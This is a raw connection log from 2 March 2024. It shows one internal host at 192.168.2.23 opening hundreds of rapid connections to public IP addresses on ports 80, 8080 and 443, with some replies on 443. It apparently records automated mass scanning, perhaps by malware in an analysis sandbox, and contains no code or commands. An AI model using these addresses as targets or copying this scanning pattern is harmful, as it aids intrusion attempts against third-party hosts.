Mar 2, 2024 12:36:51.816108942 CET	49670	80	192.168.2.23	135.252.69.175
Mar 2, 2024 12:36:51.816108942 CET	49670	8080	192.168.2.23	212.173.91.43
Mar 2, 2024 12:36:51.816112041 CET	49670	80	192.168.2.23	42.121.224.175
Mar 2, 2024 12:36:51.816123962 CET	49670	80	192.168.2.23	154.205.57.174
Mar 2, 2024 12:36:51.816124916 CET	49670	80	192.168.2.23	181.164.243.90
Mar 2, 2024 12:36:51.816133976 CET	49670	80	192.168.2.23	48.153.11.210
Mar 2, 2024 12:36:51.816135883 CET	49670	80	192.168.2.23	212.112.85.117
Mar 2, 2024 12:36:51.816137075 CET	49670	80	192.168.2.23	212.2.185.134
Mar 2, 2024 12:36:51.816137075 CET	49670	80	192.168.2.23	94.99.23.151
Mar 2, 2024 12:36:51.816149950 CET	49670	80	192.168.2.23	212.159.145.127
Mar 2, 2024 12:36:51.816149950 CET	49670	8080	192.168.2.23	212.237.161.73
Mar 2, 2024 12:36:51.816158056 CET	49670	80	192.168.2.23	82.22.20.211
Mar 2, 2024 12:36:51.816174984 CET	49670	80	192.168.2.23	212.87.98.19
Mar 2, 2024 12:36:51.816176891 CET	49670	80	192.168.2.23	60.108.132.6
Mar 2, 2024 12:36:51.816176891 CET	49670	80	192.168.2.23	212.47.198.46
Mar 2, 2024 12:36:51.816176891 CET	49670	80	192.168.2.23	212.212.57.27
Mar 2, 2024 12:36:51.816176891 CET	49670	80	192.168.2.23	138.72.186.244
Mar 2, 2024 12:36:51.816183090 CET	49670	80	192.168.2.23	71.3.67.61
Mar 2, 2024 12:36:51.816200018 CET	49926	80	192.168.2.23	178.155.36.68
Mar 2, 2024 12:36:51.816200972 CET	49926	80	192.168.2.23	178.68.142.213
Mar 2, 2024 12:36:51.816220045 CET	49926	80	192.168.2.23	178.37.100.63
Mar 2, 2024 12:36:51.816225052 CET	49926	80	192.168.2.23	178.65.251.249
Mar 2, 2024 12:36:51.816242933 CET	49926	80	192.168.2.23	178.134.111.30
Mar 2, 2024 12:36:51.816247940 CET	49926	80	192.168.2.23	178.140.11.168
Mar 2, 2024 12:36:51.816252947 CET	49926	80	192.168.2.23	178.49.80.13
Mar 2, 2024 12:36:51.816252947 CET	49926	80	192.168.2.23	178.253.170.163
Mar 2, 2024 12:36:51.816262007 CET	49926	80	192.168.2.23	178.115.6.65
Mar 2, 2024 12:36:51.816262007 CET	49926	80	192.168.2.23	178.96.47.162
Mar 2, 2024 12:36:51.816272974 CET	49926	80	192.168.2.23	178.171.121.69
Mar 2, 2024 12:36:51.816277981 CET	49926	80	192.168.2.23	178.29.199.34
Mar 2, 2024 12:36:51.816303968 CET	49670	80	192.168.2.23	94.115.42.248
Mar 2, 2024 12:36:51.816306114 CET	49926	80	192.168.2.23	178.135.123.227
Mar 2, 2024 12:36:51.816306114 CET	49670	80	192.168.2.23	223.113.60.25
Mar 2, 2024 12:36:51.816310883 CET	49926	80	192.168.2.23	178.199.60.250
Mar 2, 2024 12:36:51.816318035 CET	49926	80	192.168.2.23	178.107.126.194
Mar 2, 2024 12:36:51.816318035 CET	49926	80	192.168.2.23	178.131.116.55
Mar 2, 2024 12:36:51.816338062 CET	49926	80	192.168.2.23	178.211.205.88
Mar 2, 2024 12:36:51.816340923 CET	49926	80	192.168.2.23	178.82.122.177
Mar 2, 2024 12:36:51.816340923 CET	49926	80	192.168.2.23	178.87.250.219
Mar 2, 2024 12:36:51.816348076 CET	49926	80	192.168.2.23	178.205.158.176
Mar 2, 2024 12:36:51.816364050 CET	49926	80	192.168.2.23	178.71.195.172
Mar 2, 2024 12:36:51.816364050 CET	49926	80	192.168.2.23	178.120.58.145
Mar 2, 2024 12:36:51.816380978 CET	49926	80	192.168.2.23	178.27.47.202
Mar 2, 2024 12:36:51.816385984 CET	49926	80	192.168.2.23	178.114.209.12
Mar 2, 2024 12:36:51.816411018 CET	49926	80	192.168.2.23	178.109.25.253
Mar 2, 2024 12:36:51.816411018 CET	49926	80	192.168.2.23	178.138.250.90
Mar 2, 2024 12:36:51.816412926 CET	49926	80	192.168.2.23	178.167.251.65
Mar 2, 2024 12:36:51.816416979 CET	49926	80	192.168.2.23	178.45.68.66
Mar 2, 2024 12:36:51.816421032 CET	49926	80	192.168.2.23	178.180.205.227
Mar 2, 2024 12:36:51.816426039 CET	49926	80	192.168.2.23	178.80.196.200
Mar 2, 2024 12:36:51.816431046 CET	49926	80	192.168.2.23	178.100.118.80
Mar 2, 2024 12:36:51.816441059 CET	49926	80	192.168.2.23	178.156.191.62
Mar 2, 2024 12:36:51.816452980 CET	49926	80	192.168.2.23	178.159.145.27
Mar 2, 2024 12:36:51.816512108 CET	49926	80	192.168.2.23	178.208.147.131
Mar 2, 2024 12:36:51.816512108 CET	49926	80	192.168.2.23	178.35.7.210
Mar 2, 2024 12:36:51.816517115 CET	49926	80	192.168.2.23	178.229.171.221
Mar 2, 2024 12:36:51.816529989 CET	49926	80	192.168.2.23	178.8.132.176
Mar 2, 2024 12:36:51.816535950 CET	49926	80	192.168.2.23	178.52.255.209
Mar 2, 2024 12:36:51.816538095 CET	49926	80	192.168.2.23	178.23.251.178
Mar 2, 2024 12:36:51.816553116 CET	49926	80	192.168.2.23	178.233.215.8
Mar 2, 2024 12:36:51.816556931 CET	49926	80	192.168.2.23	178.209.119.59
Mar 2, 2024 12:36:51.816580057 CET	49926	80	192.168.2.23	178.137.234.149
Mar 2, 2024 12:36:51.816581011 CET	49926	80	192.168.2.23	178.248.82.182
Mar 2, 2024 12:36:51.816596031 CET	50950	8080	192.168.2.23	187.234.107.32
Mar 2, 2024 12:36:51.816611052 CET	50950	8080	192.168.2.23	187.115.22.32
Mar 2, 2024 12:36:51.816613913 CET	50950	8080	192.168.2.23	189.38.161.2
Mar 2, 2024 12:36:51.816618919 CET	50950	8080	192.168.2.23	201.13.239.116
Mar 2, 2024 12:36:51.816618919 CET	50950	8080	192.168.2.23	187.138.20.40
Mar 2, 2024 12:36:51.816633940 CET	50950	8080	192.168.2.23	187.24.86.218
Mar 2, 2024 12:36:51.816636086 CET	50950	8080	192.168.2.23	189.251.186.229
Mar 2, 2024 12:36:51.816636086 CET	50950	8080	192.168.2.23	187.195.56.68
Mar 2, 2024 12:36:51.816637993 CET	50950	8080	192.168.2.23	187.208.128.34
Mar 2, 2024 12:36:51.816643953 CET	50950	8080	192.168.2.23	189.222.231.186
Mar 2, 2024 12:36:51.816653013 CET	50950	8080	192.168.2.23	187.8.245.110
Mar 2, 2024 12:36:51.816664934 CET	50950	8080	192.168.2.23	201.246.201.116
Mar 2, 2024 12:36:51.816665888 CET	50950	8080	192.168.2.23	201.231.234.255
Mar 2, 2024 12:36:51.816665888 CET	50950	8080	192.168.2.23	187.12.76.247
Mar 2, 2024 12:36:51.816680908 CET	50950	8080	192.168.2.23	201.142.60.171
Mar 2, 2024 12:36:51.816687107 CET	50950	8080	192.168.2.23	189.3.15.214
Mar 2, 2024 12:36:51.816687107 CET	50950	8080	192.168.2.23	189.20.173.133
Mar 2, 2024 12:36:51.816688061 CET	50950	8080	192.168.2.23	187.49.50.201
Mar 2, 2024 12:36:51.816692114 CET	50950	8080	192.168.2.23	187.206.13.192
Mar 2, 2024 12:36:51.816704035 CET	50950	8080	192.168.2.23	187.247.39.255
Mar 2, 2024 12:36:51.816704035 CET	50950	8080	192.168.2.23	189.201.236.61
Mar 2, 2024 12:36:51.816704035 CET	50950	8080	192.168.2.23	189.112.37.58
Mar 2, 2024 12:36:51.816708088 CET	50950	8080	192.168.2.23	201.52.63.171
Mar 2, 2024 12:36:51.816708088 CET	50950	8080	192.168.2.23	201.92.168.106
Mar 2, 2024 12:36:51.816718102 CET	50950	8080	192.168.2.23	201.220.153.49
Mar 2, 2024 12:36:51.816732883 CET	50950	8080	192.168.2.23	201.178.208.181
Mar 2, 2024 12:36:51.816734076 CET	50950	8080	192.168.2.23	201.135.97.35
Mar 2, 2024 12:36:51.816734076 CET	50950	8080	192.168.2.23	187.190.25.128
Mar 2, 2024 12:36:51.816736937 CET	50950	8080	192.168.2.23	201.201.149.251
Mar 2, 2024 12:36:51.816737890 CET	50950	8080	192.168.2.23	187.170.183.121
Mar 2, 2024 12:36:51.816737890 CET	50950	8080	192.168.2.23	189.46.238.81
Mar 2, 2024 12:36:51.816737890 CET	50950	8080	192.168.2.23	189.52.174.13
Mar 2, 2024 12:36:51.816737890 CET	50950	8080	192.168.2.23	201.5.72.248
Mar 2, 2024 12:36:51.816746950 CET	50950	8080	192.168.2.23	189.13.107.233
Mar 2, 2024 12:36:51.816750050 CET	50950	8080	192.168.2.23	187.204.152.51
Mar 2, 2024 12:36:51.816751003 CET	50950	8080	192.168.2.23	189.216.43.3
Mar 2, 2024 12:36:51.816761017 CET	50950	8080	192.168.2.23	187.87.161.254
Mar 2, 2024 12:36:51.816761017 CET	50950	8080	192.168.2.23	187.219.112.196
Mar 2, 2024 12:36:51.816765070 CET	50950	8080	192.168.2.23	187.104.125.150
Mar 2, 2024 12:36:51.816778898 CET	50950	8080	192.168.2.23	189.115.235.241
Mar 2, 2024 12:36:51.816778898 CET	50950	8080	192.168.2.23	187.217.32.79
Mar 2, 2024 12:36:51.816778898 CET	50950	8080	192.168.2.23	189.79.67.204
Mar 2, 2024 12:36:51.816787004 CET	50950	8080	192.168.2.23	189.15.78.190
Mar 2, 2024 12:36:51.816802025 CET	50950	8080	192.168.2.23	201.34.25.255
Mar 2, 2024 12:36:51.816812038 CET	50950	8080	192.168.2.23	187.102.174.59
Mar 2, 2024 12:36:51.816812038 CET	50950	8080	192.168.2.23	201.110.195.60
Mar 2, 2024 12:36:51.816814899 CET	50950	8080	192.168.2.23	201.180.3.92
Mar 2, 2024 12:36:51.816814899 CET	50950	8080	192.168.2.23	201.16.212.185
Mar 2, 2024 12:36:51.816814899 CET	50950	8080	192.168.2.23	189.89.97.108
Mar 2, 2024 12:36:51.816826105 CET	50950	8080	192.168.2.23	187.25.140.245
Mar 2, 2024 12:36:51.816828012 CET	50950	8080	192.168.2.23	201.75.193.243
Mar 2, 2024 12:36:51.816828966 CET	50950	8080	192.168.2.23	187.203.184.147
Mar 2, 2024 12:36:51.816828012 CET	50950	8080	192.168.2.23	201.155.231.215
Mar 2, 2024 12:36:51.816828966 CET	50950	8080	192.168.2.23	201.87.108.42
Mar 2, 2024 12:36:51.816828012 CET	50950	8080	192.168.2.23	201.207.173.221
Mar 2, 2024 12:36:51.816828012 CET	50950	8080	192.168.2.23	189.91.243.202
Mar 2, 2024 12:36:51.816836119 CET	50950	8080	192.168.2.23	201.219.224.78
Mar 2, 2024 12:36:51.816837072 CET	50950	8080	192.168.2.23	201.196.170.252
Mar 2, 2024 12:36:51.816837072 CET	50950	8080	192.168.2.23	187.198.62.208
Mar 2, 2024 12:36:51.816854954 CET	50950	8080	192.168.2.23	187.55.146.102
Mar 2, 2024 12:36:51.816854954 CET	50950	8080	192.168.2.23	189.91.86.230
Mar 2, 2024 12:36:51.816854954 CET	50950	8080	192.168.2.23	201.215.23.108
Mar 2, 2024 12:36:51.816859961 CET	50950	8080	192.168.2.23	189.195.153.40
Mar 2, 2024 12:36:51.816859961 CET	50950	8080	192.168.2.23	189.195.163.109
Mar 2, 2024 12:36:51.816871881 CET	50950	8080	192.168.2.23	201.2.207.22
Mar 2, 2024 12:36:51.816876888 CET	50950	8080	192.168.2.23	187.228.221.38
Mar 2, 2024 12:36:51.816883087 CET	50950	8080	192.168.2.23	201.110.233.194
Mar 2, 2024 12:36:51.816891909 CET	50950	8080	192.168.2.23	189.235.70.21
Mar 2, 2024 12:36:51.816907883 CET	50950	8080	192.168.2.23	201.158.142.192
Mar 2, 2024 12:36:51.816910982 CET	50950	8080	192.168.2.23	187.135.204.49
Mar 2, 2024 12:36:51.816915035 CET	50950	8080	192.168.2.23	189.93.100.176
Mar 2, 2024 12:36:51.816917896 CET	50950	8080	192.168.2.23	189.61.16.107
Mar 2, 2024 12:36:51.816922903 CET	50950	8080	192.168.2.23	189.116.22.42
Mar 2, 2024 12:36:51.816922903 CET	50950	8080	192.168.2.23	201.180.236.187
Mar 2, 2024 12:36:51.816929102 CET	50950	8080	192.168.2.23	189.157.36.227
Mar 2, 2024 12:36:51.816935062 CET	50950	8080	192.168.2.23	189.187.226.241
Mar 2, 2024 12:36:51.816939116 CET	50950	8080	192.168.2.23	201.212.55.178
Mar 2, 2024 12:36:51.816942930 CET	50950	8080	192.168.2.23	189.67.230.237
Mar 2, 2024 12:36:51.816956997 CET	50950	8080	192.168.2.23	201.3.219.17
Mar 2, 2024 12:36:51.816956997 CET	50950	8080	192.168.2.23	201.84.115.215
Mar 2, 2024 12:36:51.816967010 CET	50950	8080	192.168.2.23	187.114.194.124
Mar 2, 2024 12:36:51.816967964 CET	50950	8080	192.168.2.23	189.30.10.155
Mar 2, 2024 12:36:51.816968918 CET	50950	8080	192.168.2.23	201.221.59.204
Mar 2, 2024 12:36:51.816972971 CET	50950	8080	192.168.2.23	189.4.176.125
Mar 2, 2024 12:36:51.816993952 CET	50950	8080	192.168.2.23	201.215.81.89
Mar 2, 2024 12:36:51.816996098 CET	50950	8080	192.168.2.23	189.44.251.142
Mar 2, 2024 12:36:51.816998959 CET	50950	8080	192.168.2.23	189.210.195.24
Mar 2, 2024 12:36:51.816998959 CET	50950	8080	192.168.2.23	201.119.156.150
Mar 2, 2024 12:36:51.817001104 CET	50950	8080	192.168.2.23	201.156.235.137
Mar 2, 2024 12:36:51.817008018 CET	50950	8080	192.168.2.23	187.135.202.35
Mar 2, 2024 12:36:51.817015886 CET	50950	8080	192.168.2.23	189.219.19.22
Mar 2, 2024 12:36:51.817015886 CET	50950	8080	192.168.2.23	189.35.240.229
Mar 2, 2024 12:36:51.817025900 CET	50950	8080	192.168.2.23	201.23.176.227
Mar 2, 2024 12:36:51.817035913 CET	50950	8080	192.168.2.23	187.45.41.3
Mar 2, 2024 12:36:51.817042112 CET	50950	8080	192.168.2.23	189.138.87.177
Mar 2, 2024 12:36:51.817045927 CET	50950	8080	192.168.2.23	187.35.163.50
Mar 2, 2024 12:36:51.817049980 CET	50950	8080	192.168.2.23	187.3.235.63
Mar 2, 2024 12:36:51.817049980 CET	50950	8080	192.168.2.23	189.73.174.105
Mar 2, 2024 12:36:51.817049980 CET	50950	8080	192.168.2.23	189.240.109.119
Mar 2, 2024 12:36:51.817065954 CET	50950	8080	192.168.2.23	189.108.21.60
Mar 2, 2024 12:36:51.817066908 CET	50950	8080	192.168.2.23	201.118.156.119
Mar 2, 2024 12:36:51.817070007 CET	50950	8080	192.168.2.23	201.58.119.173
Mar 2, 2024 12:36:51.817070007 CET	50950	8080	192.168.2.23	187.11.146.249
Mar 2, 2024 12:36:51.817092896 CET	50950	8080	192.168.2.23	187.165.99.247
Mar 2, 2024 12:36:51.817097902 CET	50950	8080	192.168.2.23	201.125.173.126
Mar 2, 2024 12:36:51.817099094 CET	50950	8080	192.168.2.23	189.22.111.14
Mar 2, 2024 12:36:51.817107916 CET	50950	8080	192.168.2.23	201.71.173.178
Mar 2, 2024 12:36:51.817107916 CET	50950	8080	192.168.2.23	187.55.29.60
Mar 2, 2024 12:36:51.817111969 CET	50950	8080	192.168.2.23	189.57.28.48
Mar 2, 2024 12:36:51.817111969 CET	50950	8080	192.168.2.23	201.133.156.164
Mar 2, 2024 12:36:51.817111969 CET	50950	8080	192.168.2.23	189.72.1.33
Mar 2, 2024 12:36:51.817115068 CET	50950	8080	192.168.2.23	187.188.144.255
Mar 2, 2024 12:36:51.817115068 CET	50950	8080	192.168.2.23	201.54.55.54
Mar 2, 2024 12:36:51.817117929 CET	50950	8080	192.168.2.23	201.94.120.126
Mar 2, 2024 12:36:51.817123890 CET	50950	8080	192.168.2.23	187.202.130.175
Mar 2, 2024 12:36:51.817126989 CET	50950	8080	192.168.2.23	189.253.9.152
Mar 2, 2024 12:36:51.817130089 CET	50950	8080	192.168.2.23	201.34.109.114
Mar 2, 2024 12:36:51.817151070 CET	50950	8080	192.168.2.23	201.220.162.81
Mar 2, 2024 12:36:51.817151070 CET	50950	8080	192.168.2.23	201.12.115.177
Mar 2, 2024 12:36:51.817151070 CET	50950	8080	192.168.2.23	187.34.57.192
Mar 2, 2024 12:36:51.817151070 CET	50950	8080	192.168.2.23	189.40.87.188
Mar 2, 2024 12:36:51.817153931 CET	50950	8080	192.168.2.23	187.251.151.107
Mar 2, 2024 12:36:51.817153931 CET	50950	8080	192.168.2.23	189.23.35.17
Mar 2, 2024 12:36:51.817157984 CET	50950	8080	192.168.2.23	187.143.216.64
Mar 2, 2024 12:36:51.817158937 CET	50950	8080	192.168.2.23	201.255.130.175
Mar 2, 2024 12:36:51.817172050 CET	50950	8080	192.168.2.23	187.190.91.161
Mar 2, 2024 12:36:51.817172050 CET	50950	8080	192.168.2.23	201.119.35.3
Mar 2, 2024 12:36:51.817177057 CET	50950	8080	192.168.2.23	201.171.132.216
Mar 2, 2024 12:36:51.817177057 CET	50950	8080	192.168.2.23	187.156.7.182
Mar 2, 2024 12:36:51.817178965 CET	50950	8080	192.168.2.23	189.235.127.117
Mar 2, 2024 12:36:51.817177057 CET	50950	8080	192.168.2.23	187.214.186.184
Mar 2, 2024 12:36:51.817177057 CET	50950	8080	192.168.2.23	189.14.43.169
Mar 2, 2024 12:36:51.817178011 CET	50950	8080	192.168.2.23	189.139.126.127
Mar 2, 2024 12:36:51.817178965 CET	50950	8080	192.168.2.23	201.254.12.201
Mar 2, 2024 12:36:51.817179918 CET	50950	8080	192.168.2.23	189.93.167.0
Mar 2, 2024 12:36:51.817178965 CET	50950	8080	192.168.2.23	189.199.212.47
Mar 2, 2024 12:36:51.817195892 CET	50950	8080	192.168.2.23	189.228.246.159
Mar 2, 2024 12:36:51.817195892 CET	50950	8080	192.168.2.23	201.63.208.94
Mar 2, 2024 12:36:51.817203045 CET	50950	8080	192.168.2.23	201.70.2.189
Mar 2, 2024 12:36:51.817203045 CET	50950	8080	192.168.2.23	189.35.252.5
Mar 2, 2024 12:36:51.817203045 CET	50950	8080	192.168.2.23	187.147.201.239
Mar 2, 2024 12:36:51.817203045 CET	50950	8080	192.168.2.23	201.155.177.15
Mar 2, 2024 12:36:51.817208052 CET	50950	8080	192.168.2.23	201.159.22.81
Mar 2, 2024 12:36:51.817210913 CET	50950	8080	192.168.2.23	201.221.7.125
Mar 2, 2024 12:36:51.817210913 CET	50950	8080	192.168.2.23	187.206.19.78
Mar 2, 2024 12:36:51.817212105 CET	50950	8080	192.168.2.23	201.17.148.175
Mar 2, 2024 12:36:51.817212105 CET	50950	8080	192.168.2.23	189.86.136.92
Mar 2, 2024 12:36:51.817219019 CET	50950	8080	192.168.2.23	189.9.203.226
Mar 2, 2024 12:36:51.817219019 CET	50950	8080	192.168.2.23	189.0.48.188
Mar 2, 2024 12:36:51.817220926 CET	50950	8080	192.168.2.23	201.138.115.192
Mar 2, 2024 12:36:51.817224026 CET	50950	8080	192.168.2.23	187.76.90.212
Mar 2, 2024 12:36:51.817231894 CET	50950	8080	192.168.2.23	189.95.183.189
Mar 2, 2024 12:36:51.817231894 CET	50950	8080	192.168.2.23	201.115.16.115
Mar 2, 2024 12:36:51.817235947 CET	50950	8080	192.168.2.23	189.176.163.250
Mar 2, 2024 12:36:51.817244053 CET	50182	443	192.168.2.23	178.242.107.32
Mar 2, 2024 12:36:51.817244053 CET	50950	8080	192.168.2.23	201.129.71.135
Mar 2, 2024 12:36:51.817245007 CET	50182	443	192.168.2.23	79.107.22.32
Mar 2, 2024 12:36:51.817245960 CET	50950	8080	192.168.2.23	187.191.190.232
Mar 2, 2024 12:36:51.817249060 CET	50182	443	192.168.2.23	178.62.97.2
Mar 2, 2024 12:36:51.817255974 CET	50950	8080	192.168.2.23	201.16.68.45
Mar 2, 2024 12:36:51.817260981 CET	443	50182	178.242.107.32	192.168.2.23
Mar 2, 2024 12:36:51.817267895 CET	50950	8080	192.168.2.23	189.7.8.19
Mar 2, 2024 12:36:51.817269087 CET	443	50182	178.62.97.2	192.168.2.23
Mar 2, 2024 12:36:51.817274094 CET	50950	8080	192.168.2.23	187.94.131.39
Mar 2, 2024 12:36:51.817275047 CET	50182	443	192.168.2.23	109.22.70.34
Mar 2, 2024 12:36:51.817281008 CET	50182	443	192.168.2.23	42.48.144.234
Mar 2, 2024 12:36:51.817284107 CET	50182	443	192.168.2.23	212.213.47.116
Mar 2, 2024 12:36:51.817284107 CET	50182	443	192.168.2.23	118.76.210.46
Mar 2, 2024 12:36:51.817285061 CET	50950	8080	192.168.2.23	201.216.89.175
Mar 2, 2024 12:36:51.817287922 CET	443	50182	109.22.70.34	192.168.2.23
Mar 2, 2024 12:36:51.817296028 CET	50182	443	192.168.2.23	178.147.253.210
Mar 2, 2024 12:36:51.817305088 CET	50950	8080	192.168.2.23	201.162.153.195
Mar 2, 2024 12:36:51.817303896 CET	50182	443	192.168.2.23	178.242.107.32
Mar 2, 2024 12:36:51.817315102 CET	50182	443	192.168.2.23	5.158.166.187
Mar 2, 2024 12:36:51.817318916 CET	50182	443	192.168.2.23	178.62.97.2
Mar 2, 2024 12:36:51.817320108 CET	50182	443	192.168.2.23	5.134.75.154
Mar 2, 2024 12:36:51.817322016 CET	50182	443	192.168.2.23	212.69.255.68
Mar 2, 2024 12:36:51.817318916 CET	50182	443	192.168.2.23	109.22.70.34
Mar 2, 2024 12:36:51.817318916 CET	50950	8080	192.168.2.23	187.76.88.215
Mar 2, 2024 12:36:51.817327023 CET	50182	443	192.168.2.23	94.202.147.8
Mar 2, 2024 12:36:51.817327023 CET	50182	443	192.168.2.23	210.131.52.120
Mar 2, 2024 12:36:51.817327976 CET	443	50182	5.158.166.187	192.168.2.23
Mar 2, 2024 12:36:51.817328930 CET	50182	443	192.168.2.23	2.136.103.244
Mar 2, 2024 12:36:51.817339897 CET	443	50182	5.134.75.154	192.168.2.23
Mar 2, 2024 12:36:51.817341089 CET	50950	8080	192.168.2.23	187.64.129.216
Mar 2, 2024 12:36:51.817341089 CET	50182	443	192.168.2.23	42.202.86.119
Mar 2, 2024 12:36:51.817346096 CET	443	50182	212.69.255.68	192.168.2.23
Mar 2, 2024 12:36:51.817351103 CET	443	50182	2.136.103.244	192.168.2.23
Mar 2, 2024 12:36:51.817353010 CET	50182	443	192.168.2.23	94.135.221.33
Mar 2, 2024 12:36:51.817353964 CET	443	50182	94.202.147.8	192.168.2.23
Mar 2, 2024 12:36:51.817353010 CET	50182	443	192.168.2.23	37.15.156.101
Mar 2, 2024 12:36:51.817354918 CET	443	50182	42.202.86.119	192.168.2.23
Mar 2, 2024 12:36:51.817353010 CET	50182	443	192.168.2.23	79.28.247.81
Mar 2, 2024 12:36:51.817356110 CET	50182	443	192.168.2.23	118.66.137.122
Mar 2, 2024 12:36:51.817354918 CET	50950	8080	192.168.2.23	201.73.118.110
Mar 2, 2024 12:36:51.817353010 CET	50950	8080	192.168.2.23	187.48.53.38
Mar 2, 2024 12:36:51.817353010 CET	50182	443	192.168.2.23	2.80.118.172
Mar 2, 2024 12:36:51.817359924 CET	50182	443	192.168.2.23	210.60.78.211
Mar 2, 2024 12:36:51.817358017 CET	50182	443	192.168.2.23	79.193.56.155
Mar 2, 2024 12:36:51.817358017 CET	50182	443	192.168.2.23	42.136.229.24
Mar 2, 2024 12:36:51.817356110 CET	50182	443	192.168.2.23	118.197.244.21
Mar 2, 2024 12:36:51.817361116 CET	50950	8080	192.168.2.23	201.238.177.165
Mar 2, 2024 12:36:51.817356110 CET	50182	443	192.168.2.23	109.66.237.235
Mar 2, 2024 12:36:51.817354918 CET	50950	8080	192.168.2.23	187.14.72.70
Mar 2, 2024 12:36:51.817358017 CET	50950	8080	192.168.2.23	189.54.242.196
Mar 2, 2024 12:36:51.817358971 CET	50950	8080	192.168.2.23	201.232.86.155
Mar 2, 2024 12:36:51.817361116 CET	50950	8080	192.168.2.23	187.203.34.79
Mar 2, 2024 12:36:51.817358971 CET	50950	8080	192.168.2.23	201.200.227.93
Mar 2, 2024 12:36:51.817356110 CET	50950	8080	192.168.2.23	187.44.201.3
Mar 2, 2024 12:36:51.817370892 CET	443	50182	210.131.52.120	192.168.2.23
Mar 2, 2024 12:36:51.817373037 CET	443	50182	94.135.221.33	192.168.2.23
Mar 2, 2024 12:36:51.817356110 CET	50950	8080	192.168.2.23	189.112.192.16
Mar 2, 2024 12:36:51.817358971 CET	50950	8080	192.168.2.23	189.87.16.4
Mar 2, 2024 12:36:51.817356110 CET	50950	8080	192.168.2.23	201.241.213.24
Mar 2, 2024 12:36:51.817365885 CET	50950	8080	192.168.2.23	187.172.172.175
Mar 2, 2024 12:36:51.817356110 CET	50182	443	192.168.2.23	178.123.225.43
Mar 2, 2024 12:36:51.817383051 CET	50182	443	192.168.2.23	5.134.75.154
Mar 2, 2024 12:36:51.817384958 CET	443	50182	37.15.156.101	192.168.2.23
Mar 2, 2024 12:36:51.817387104 CET	443	50182	79.193.56.155	192.168.2.23
Mar 2, 2024 12:36:51.817387104 CET	50182	443	192.168.2.23	212.69.255.68
Mar 2, 2024 12:36:51.817387104 CET	50182	443	192.168.2.23	42.202.86.119
Mar 2, 2024 12:36:51.817389965 CET	443	50182	210.60.78.211	192.168.2.23
Mar 2, 2024 12:36:51.817392111 CET	443	50182	118.66.137.122	192.168.2.23
Mar 2, 2024 12:36:51.817393064 CET	50182	443	192.168.2.23	79.10.214.32
Mar 2, 2024 12:36:51.817394972 CET	443	50182	79.28.247.81	192.168.2.23
Mar 2, 2024 12:36:51.817394972 CET	50950	8080	192.168.2.23	201.16.162.171
Mar 2, 2024 12:36:51.817394972 CET	50950	8080	192.168.2.23	201.180.76.223
Mar 2, 2024 12:36:51.817399025 CET	443	50182	118.197.244.21	192.168.2.23
Mar 2, 2024 12:36:51.817394972 CET	50950	8080	192.168.2.23	187.177.53.168
Mar 2, 2024 12:36:51.817399025 CET	443	50182	42.136.229.24	192.168.2.23
Mar 2, 2024 12:36:51.817399979 CET	50182	443	192.168.2.23	79.105.114.178
Mar 2, 2024 12:36:51.817394972 CET	50950	8080	192.168.2.23	189.31.103.83
Mar 2, 2024 12:36:51.817399979 CET	50950	8080	192.168.2.23	201.243.236.105
Mar 2, 2024 12:36:51.817394972 CET	50182	443	192.168.2.23	94.143.32.102
Mar 2, 2024 12:36:51.817395926 CET	50182	443	192.168.2.23	94.202.147.8
Mar 2, 2024 12:36:51.817404985 CET	443	50182	109.66.237.235	192.168.2.23
Mar 2, 2024 12:36:51.817404985 CET	443	50182	79.10.214.32	192.168.2.23
Mar 2, 2024 12:36:51.817408085 CET	50950	8080	192.168.2.23	187.58.222.146
Mar 2, 2024 12:36:51.817409039 CET	443	50182	2.80.118.172	192.168.2.23
Mar 2, 2024 12:36:51.817410946 CET	443	50182	79.105.114.178	192.168.2.23
Mar 2, 2024 12:36:51.817414045 CET	50182	443	192.168.2.23	2.136.103.244
Mar 2, 2024 12:36:51.817414045 CET	50182	443	192.168.2.23	94.135.221.33
Mar 2, 2024 12:36:51.817418098 CET	50950	8080	192.168.2.23	187.205.247.116
Mar 2, 2024 12:36:51.817421913 CET	50182	443	192.168.2.23	37.15.156.101
Mar 2, 2024 12:36:51.817430019 CET	443	50182	178.123.225.43	192.168.2.23
Mar 2, 2024 12:36:51.817440033 CET	443	50182	94.143.32.102	192.168.2.23
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	42.221.226.249
Mar 2, 2024 12:36:51.817442894 CET	50182	443	192.168.2.23	79.28.247.81
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	5.49.18.87
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	79.105.208.72
Mar 2, 2024 12:36:51.817445040 CET	50950	8080	192.168.2.23	201.241.167.127
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	5.158.166.187
Mar 2, 2024 12:36:51.817444086 CET	50182	443	192.168.2.23	79.193.56.155
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	118.197.244.21
Mar 2, 2024 12:36:51.817444086 CET	50182	443	192.168.2.23	42.136.229.24
Mar 2, 2024 12:36:51.817444086 CET	50950	8080	192.168.2.23	201.107.66.154
Mar 2, 2024 12:36:51.817441940 CET	50182	443	192.168.2.23	118.66.137.122
Mar 2, 2024 12:36:51.817454100 CET	50950	8080	192.168.2.23	201.183.174.181
Mar 2, 2024 12:36:51.817455053 CET	50182	443	192.168.2.23	210.131.52.120
Mar 2, 2024 12:36:51.817455053 CET	50950	8080	192.168.2.23	189.67.83.219
Mar 2, 2024 12:36:51.817459106 CET	443	50182	42.221.226.249	192.168.2.23
Mar 2, 2024 12:36:51.817461014 CET	50950	8080	192.168.2.23	187.210.32.132
Mar 2, 2024 12:36:51.817466974 CET	443	50182	5.49.18.87	192.168.2.23
Mar 2, 2024 12:36:51.817467928 CET	50182	443	192.168.2.23	210.60.78.211
Mar 2, 2024 12:36:51.817468882 CET	50182	443	192.168.2.23	79.105.114.178
Mar 2, 2024 12:36:51.817468882 CET	50950	8080	192.168.2.23	201.172.221.181
Mar 2, 2024 12:36:51.817473888 CET	443	50182	79.105.208.72	192.168.2.23
Mar 2, 2024 12:36:51.817478895 CET	50182	443	192.168.2.23	79.10.214.32
Mar 2, 2024 12:36:51.817480087 CET	50950	8080	192.168.2.23	187.9.218.157
Mar 2, 2024 12:36:51.817487955 CET	50182	443	192.168.2.23	178.123.225.43
Mar 2, 2024 12:36:51.817487955 CET	50182	443	192.168.2.23	109.66.237.235
Mar 2, 2024 12:36:51.817493916 CET	50182	443	192.168.2.23	2.80.118.172
Mar 2, 2024 12:36:51.817496061 CET	50950	8080	192.168.2.23	201.79.247.161
